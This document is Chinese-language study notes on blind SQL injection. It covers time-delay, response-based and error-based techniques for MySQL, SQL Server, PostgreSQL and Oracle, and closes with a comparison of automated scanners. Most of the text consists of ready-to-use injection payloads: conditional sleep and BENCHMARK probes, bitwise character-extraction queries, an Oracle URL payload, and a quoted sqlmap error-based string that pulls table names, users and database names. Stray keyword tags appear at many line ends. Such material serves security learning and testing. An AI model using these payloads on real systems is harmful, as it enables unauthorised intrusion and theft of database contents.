sql注入中的盲注的幾種類型 php
1.基於時間延時注入 java
基於時間的手工盲注通常都是經過二分法或逐位法肯定範圍獲取目標值。大大縮小了請求數。 mysql
經過控制,獲取響應時間來判斷目標值的正確性。使用大量狀況,在純盲狀況下成功率較高,缺點就是時間太長。 web
1.1針對mysql 算法
對mysql進行盲注的時候儘可能使用#做爲註釋符號,使用--會引發不少缺乏'錯誤使得數據庫沒法正常執行攻擊語句 sql
利用IF語句判斷可能的值,若是值知足條件,則使用函數使sql語句在數據庫長時間執行從而經過響應時間判斷值得方式。該注入方式爲推斷形盲注 數據庫
IF(SUBSTRING(current,1,1)=CHAR(101),BENCHMARK(10000000,ENCODE('sasssG','zcxczx')),null),count(*) FROM (SELECT Database() as current) as tbl; 編程
分析語句: 數組
如下函數在一次盲注中都不會變化,承擔邏輯處理功能: sass
length(列)判斷其字符長度
SUBSTING(待提取字符,開始字符,提取字符長度)開始字符不斷增長
CHAR(101)字符型數據,不斷變化測試值
benchmark(執行次數,被測試函數)該函數是mysql獨有的測試函數執行之間函數
encode(被加密字符,加密祕鑰)
decode(被解密字符,解密祕鑰)
須要經過select length(database())函數肯定目標值長度。
如下函數須要變化以應對不一樣的目標值:
當前鏈接數據庫
database();
全部數據庫
INFORMATION_SCHEMA.SCHEMATA
已知數據庫查該數據庫下表名
select * from tables where table_schema='mytest';
獲取系統用戶
SELECT SYSTEM_USER()
獲取當前用戶
SELECT CURRENT_USER()
limit 1,1查詢結果第一條,總共顯示一條
枚舉命令總結
1.全部數據庫
select schema_name FROM information_schema.schemata;
1.2針對sqlserver
查看當前數據庫
sqlsever則不須要像mysql同樣使用union執行select 能夠直接if判斷目標值
select * from userinfo if(SUBSTRING(DB_NAME(),1,1)=CHAR(116)) waitfor delay '0:0:5'
二分法: IF ASCII(SUBSTRING(SYSTEM_USER,1,1))>30 WAITFOR DELAY '0:0:5'
使用分析:
DB_NAME()當前數據庫:
select name from sysobjects 獲取當前全部表,能夠經過字段進行篩選,
獲取準備行數據:
select * from (select row_number() over (order by name ) as row_num,name from sysobjects)t
where row_num between 48 and 48 獲取第48行數據
name表示表名字段
row_number() over (order by 字段名)給予表序號獲得一張新表做爲子查詢
再經過between and關鍵字篩選出須要的表名。
sysobjects存放了sqlsever全部數據庫的表和其相關信息,有如下字段能夠做爲where子句選項
uid: 建立用戶id sa管理用uid爲1
xtype:能夠區分是不是用戶創建立表 用戶建立:u 系統建立:S SQ IT
查看當前鏈接數據庫下的某表某列
select name from sys.columns where object_id=(select id from sysobjects where name='userinfo') AND culumn=1
查看userinfo的列名,culumn控制第幾列,能夠根據count(*)函數知道有多少列;
sqlsever表,數據庫,系統結構信息:
根據以上語法技巧,只要知道了目標數據所存放的系統表名就能夠枚舉全部須要的系統數據,由於sqlserver的全部更新數據都可在系統表或者系統視圖中找到
master..sysdatabases()存放了該鏈接下全部的數據庫,必定要指定數據庫名
DB_NAME()是當前數據庫
sysobjects()當前鏈接下對象列表,包括表,視圖。
sys.columns()存放當前數據庫下全部列明
在查詢的時候必定要指定數據庫。
新思路:邏輯與左邊結果爲0,右邊則不執行,能夠在左邊斷定目標值查詢,右邊用長時間子查詢。來進行判斷目標值。對應工具爲marathontool.
1.3針對postgreSQL
pg_sleep()函數:
該數據庫主要延時函數pg_sleep()爲系統默認安裝函數。可是該函數返回值爲void意味着不能再where中使用。
若是在數據庫鏈接中擁有建立函數權限可重寫pg_sleep()函數:
CREATE OR REPLACE FUNCTION pause(integer) RETURNS intege as $$ DECLARE wait alias for $1;BEGIN PERFORM pg_sleep(wait); RETURN 1; END; $$LANGUAGE 'plpgsql' STRICT;
有返回值後則能夠在where或者拆分平衡時使用。使用CASE 表達式 WHEN 條件 THEN 執行語句 ELSE 執行語句。其二分法與mysql相似。
二分法:SELECT CASE WHEN (ASCII(SUBSTR('',i,1))>K) THEN pg_sleep(1)|PAUSE(1) END;SELECT NULL,NULL,NULL;--
當使用pg_sleep(5)時須要加上三個啞查詢。
判斷是否爲超級用戶: id=1+(SELECT CASE (SELECT username FROM pg_user WHERE usesuper IS TRUE and current_user=username) WHEN (user) THEN PAUSE(5) ELSE 1 END)
1.4針對oracle
存在時間注入函數DBMS_LOCK.SLEEP(N) ,可是屬於plsql代碼,不是sql中的函數。並且oacle不支持堆疊查詢。普通用戶無權限使用DBMS包。最好的狀況是當前用戶是管理員且注入點事pl/sql塊。
IF (BITAND(ASCII(SUBSTR(XXX,1,1)),2)=2) THEN DBMS_LOCK.SLEEP(5); END IF;
BITEND函數將兩個參數轉2進制按位與 經過以上代碼在在代碼注入。
對oacle進行url型的sql注入使用以下代碼,要求是管理員權限。
count_reviews.aspx?review_author=MadBob' OR 1= CASE WHEN SYS_CONTEXT('USERENV','ISDBA')='TRUE' THEN DBMS_PIPE.RECEIVE_MESSAGE('foo',5) ELSE 1 END -
DBMS_PIPE.RECEIVE_MESSAGE('foo',5) 暫停5秒函數,能夠嵌入帶sql語句中
時間注入函數總結
PostgreSQL: |
select pg_sleep(n) pause(n) |
1. 沒法再sql中使用 2. 自定義函數 |
Oracle PL/SQL : |
BEGIN DBMS_LOCK.SLEEP(5); END; 或者 or 1=dbms_pipe.reveive_message(‘RDS’,10) |
1. 沒法在sql中使用 2. 管理員權限 |
Mysql: |
sleep(n) BENCHMARK(100000,ENCODE(‘HELLO’,’MON’)); |
1. 全部用戶 2. 全部用戶 |
Microsoft SQL server: |
:xxx.jsp?uid=22;waitfor delay ‘0:0:5’ |
1.條件判斷以後 |
利用盲注判斷注入點:
1. 產生通用錯誤,如加冒號,括號,破壞原有的sql語句。判斷是否只有引號狀況下才產生通用錯誤頁面。能夠判斷程序是否有sql注入過濾。若產生了通用錯誤頁面表明程序不認識單引號也就是沒有對敏感字符的過濾,那麼注入的成功率會較大。
1. 注入帶反作用的sql,常規的有時間延時函數,以下各種數據庫延時函數,能夠判斷當前用戶是否有權限執行時間函數,判斷數據庫版本,判斷sql語句是否被執行
2. 若通用錯誤注入與反作用注入不起做用的狀況下,可使用拆分與平衡。拆分正常的參數,平衡不和諧的結尾單引號。將正常的參數在知足sql語法的狀況下,與原來的參數不一樣。oalce使用||鏈接字符串,SQLserver使用加號鏈接字符串,更高級的拆分便是使用BNF語法。
mysql字符鏈接用空格
以上包含了大部分經常使用數據的表達式拆分法,包括注入字符串,類型表達式,字符串表達式,數字表達式,數據表達式
盲注利用:
1.推斷型注入:一些簡單的問題,好比咱們是不是做爲管理員鏈接?鏈接的數據庫是不是sqlserver2005?相似的語句轉化爲sql,在注入的時候須要常常變換永真條件來繞過固定字符過濾,也不能總用一字符進行請求,須要常常變換,還須要考慮網絡延時形成誤判數據的發生。
增長推斷攻擊技術複雜性:boolean或者時間注入,經常使用二分法進行數字比對大大縮小斷定時間,在全部數據庫中都提供了ASCII()將字符轉爲int值得方法。二分查找的問題是沒法在獲取第一個請求以前發送第二個請求。對於MD5加密後的數據僅僅16個字符遍歷
逐位推斷漏洞:經過字符轉ASCII碼後與2^0,2^1,2^2………2^7依次異或,若異或後的值小於原來的值,表明原碼對應2^j的j位的值爲1,若分別2^3,2^5值變小,其餘值都比原值大,則原碼2^3+2^5爲00101000對應爲(,左括號字符。這樣的作法對應包含成百上千行的數據可評估表的大小.而且通常英文字符判斷8次就能出結果。逐位的方法能夠縮短請求數量,可是會增長判斷時間。由於每一個字符八次判斷中平均有4次須要延時。若是目標值有6個字符則須要48個請求,平均24個請求會被延時。若每一個延時2秒,不延時爲0.1秒則共須要50.4秒才能判斷出目標數據。若是採用原始方式每一個字符判斷36次共6個字符。216個請求,可是若是延時爲兩秒,不延時爲0.1秒,則12+204*0.1=32.4秒。從時間上來分析該算法時間會很長。但從請求量來分析,該算法的請求數爲原請求數的1/4.5;
按位異或 小於 則是目標值
按位與 等於 則是目標值
2.基於響應技術
基於響應技術的實用性和優勢:
1. 相對時間注入受外在不可控因素影響較小,對網絡傳輸,服務器負載,網絡狀況等影響較小。
2. 不須要長時間的等待,及時能斷定結果。
3. 在注入是必須是數據庫或者程序的執行錯誤,而不是語法的錯誤,才能判斷目標。
4. 可是該注入只使用於返回的響應能被攻擊者修改的注入點。若是不能則須要複雜的語句創造錯誤頁面。
5. 產生執行錯誤的思路:
1. 除數爲0產生執行錯誤
2. ASP.NET默認出錯頁面,捕獲底層錯誤。在正常參數中加'&aspxerrorpath=/foo 或‘
針對MYSQL響應:
1.SELECT COUNT(*) FROM XXX WHERE XXX=''
2.SELECT COUNT(*) FROM XXX WHERE XXX='' AND ASCII (SUBSTRING(USER(),1,1))&2^j=2^j #
第1條語句是程序正常執行語句,查詢知足條件的條數。
第2條語句是基於響應的注入,在斷定條件不成立的狀況下則會出現錯誤頁面,在成立的狀況下則產生正確頁面。
利用逐位,拆分與平衡的方法實現內聯注入。利用響應結果獲得真假頁面
SELECT COUNT(*) FROM XX WHERE id=1+IF(ASCII(SUBSTRING(CURRENT_USER(),1,1))&2=2,1,0)
注意:mysql沒有用於字符串鏈接的運算符,僅有concat()函數鏈接。
在沒法控制響應結果的時候就創造響應結果,紅色標記的sql語句則是一個子查詢返回多行的執行錯誤。當按位比較成功時則返回錯誤頁面,當失敗時就返回1回到正常頁面,
SELECT COUNT(*) FROM userinfo WHERE username=IF(ASCII(SUBSTRING(CURRENT_USER(),1,1))&2=2,(SELECT table_name FROM information_schema.columns WHERE table_name=(SELECT table_name FROM information_schema.columns)),1);
不經過拆分與平衡進行注入,經過逐位算法注入and配合邏輯表達式進行注入。
tomcat' AND IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))&4,1,0); #
根據返回數據肯定值是否正確,依賴手工注入,或者經過編程對應網站實現。
針對PostgreSQL響應技術:
1. 經過and ASCII(SUBSTR(XXX,I,1))&2=2;返回結果不一樣則能判斷目標值。
2. 利用拆分與平衡時注意PostgreSQL的字符串鏈接符是 ||
3. 使用 CASE WHEN EXPER1 THEN 1/0 END進行拆分
4. php中display_errors=on,會使數據庫錯誤信息返回到頁面
針對sqlserver響應技術:
1. 猜想當前建立鏈接的用戶是否爲sa,AND SYSTEM_USER='sa' 經過返回結果判斷
2. sqlserver中使用+來進行字符串的拼接
3. sqlserver中能很好的運用拆分與平衡來基於響應推斷。
4. IIS6,7上的APS.NET站點若沒有在web.config下<customError>標籤中指定錯誤頁面,則會返回默認的錯誤頁面。捕獲底層信息
針對ORACLE響應技術:
1.ORACLE中語法有些不一樣,這是直接猜想DBA。
SELECT * FROM reviews WHERE review_autho='XXX' SYS_CONTEXT('USERENV','ISDDBA')='TRUE';
2.這是oracle的逐位函數BITAND(),將兩個數字按位與
SELECT * FROM reviews WHERE review_author='XXX' AND BITAND(ASCII(SUBSTR(XX,1,1)),2)=2
3.ORACLE中字符拼接用||符號,使用除數爲0來構造錯誤。ELSE後的空單引號不產生錯誤。在用除法構造錯誤的時候必定要用CAST()封裝,不然編譯沒法經過。
MadBob' || (SELECT CASE WHEN BITAND(ASCII(SUBSTR(XX,1,1))2)=2 THEN CAST(1/0 AS CHAR) ELSE '' END FROM DUAL)||';
多位返回技術:
對逐位方法的改進,利用CASE WHEN 語句 多分支判斷位。
SELECT * FROM reviews WHERE review_author=''+(SELECT
CASE
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=0 //此時待判斷位爲00
'result1'
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=2 //此時待判斷位爲01
'result2'
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=4 //此時待判斷位爲10
'result3'
ELSE //此時待判斷位爲11
'result4'
END)
黃色的替換值:3,12,48,192
紅色的替換值:3[0,1,2], 12[0,4,8], 48[0,16,32] 192[0,64,128]
綠色的替換值:1----len(目標)
如下是十分正確的語句:
SELECT * FROM userinfo WHERE username=''+(SELECT CASE ASCII(SUBSTRING('`,1,1))&6 WHEN 0 THEN '11' WHEN 2 THEN '22' WHEN 4 THEN '33' ELSE '44' END)
針對新聞頁面,多響應頁面的注入點能夠用多位返回技術。。
3.基於錯誤盲注
1.針對mysql
1.因爲自增字段達到上限,報錯狀況。左邊冒號中的字符就是咱們須要的狀況,基於錯誤的注入目的就是將咱們須要的目標值,想盡辦法讓之在報錯中顯示。
Duplicate entry 'qzkqqtime_zone_transition_typeqbxvq1' for key 'group_key'
如下爲sqlmap原腳本,添加了許多混淆數據庫日誌字符。
SELECT * FROM userinfo WHERE username='illidan' AND (SELECT 6120 FROM(SELECT COUNT(*),CONCAT(0x717a6b7171,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6d7973716c) LIMIT 19,1),0x7162787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- zgvK'
精簡版(手工注入選擇此項):
illidan' AND (SELECT 6120 FROM (SELECT COUNT(*), CONCAT((SELECT CAST(table_name AS CHAR) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6d7973716c) LIMIT 19,1),FLOOR(RAND(0)*2) )x FROM mytest.userinfo GROUP BY x )a);-- WW
illidan爲參數,用'閉合掉以前的',經過and一個子查詢完成注入
繼續簡化
select count(*),CONCAT((select database()),floor(rand(0)*2))x from userinfo group by x;
核心語句:select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;
語句解析:
1. information_schema.character_sets該表示全部mysql數據庫一經建立便會生成的系統表,由於其中存放了該數據庫支持的各類編碼。
2. 在該查詢中count(*)是統計該分組下的數量
3. 分組依據是經過一個floor(rand(0)*2)實現,rand(0)能夠生成一個固定的小數序列,在乘2向下取整後會變成一堆有序的01數組,再對每組統計長度,經過此方式分組統計會引發數據庫自增序列達到上限從而報錯,而且報錯信息會顯示group by關鍵字。經過鏈接目標值與rand序列便可得到須要的值。
SQLserver錯誤注入
SELECT * FROM userinfo WHERE username='22' AND 7974=CONVERT(INT,(SELECT (SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024)))) AND 'XbPE'='XbPE'
在sqlserver中直接針對目標數據進行不可能的類型轉換。在轉換失敗的時候就會在報錯信息中顯示目標值。
CONVERT就是一個類型轉換函數。
自動尋找sql注入工具比較
1. 識別數據輸入
2. 注入數據
3. 檢測響應中的異常
根據數據庫返回的錯誤響應,SQL錯誤,500錯誤
1.HP WebInspect
商業工具,功能不只僅是發現SQL注入漏洞,更主要的是完整評估Web站點的安全性。包括XSS,遠程本地文件包含,SQL注入,OS命
令注入。
其驗證sql注入的方式經過常規AND OR 等驗證
2.IBM Rational AppScan
也是評估web站點安全性的商業工具。
測試方法相對HP WebInspect豐富
拆分與平衡,利用邏輯子句,堆疊查詢,基於錯誤響應
'having 1=1-- 包含group by子句的
WF'SQL ''Probe;A-B
3.HP Scrawlr
1.免費,相似爬蟲功能,分析每一個web頁面參數尋找sql注入點。
2.工具從根目錄搜索web連接,不適用於獨立頁面或文件夾的站點
3.缺點是該工具只能測試get參數,post表單的sql注入點將不能被檢測出。
4.上限是1500各URL
5.不查盲注,無身份代理,無腳本解析。只發三個字符,'OR 'AND 5=5 OR 'S'=0 number-0
4.SQLIX
1.免費,能查盲注和正常注入點。
2.不解析表單,自動post請求
3.可測試單個URL和一個文件類的全部URL。與HP Scrawlr配合使用。
測試key有:
字符轉換錯誤,拆分與平衡,邏輯子句,16進制繞過濾,
功能強與HP Scrawlr,範圍小於HP Scrawlr
5.Paros Proxy/Zed Attack Proxy
1.包含內部爬蟲
2.手段包含:
休眠函數,常規邏輯判斷。針對sqlserver
java編寫,JRE1.4以上,免費
2016/8/22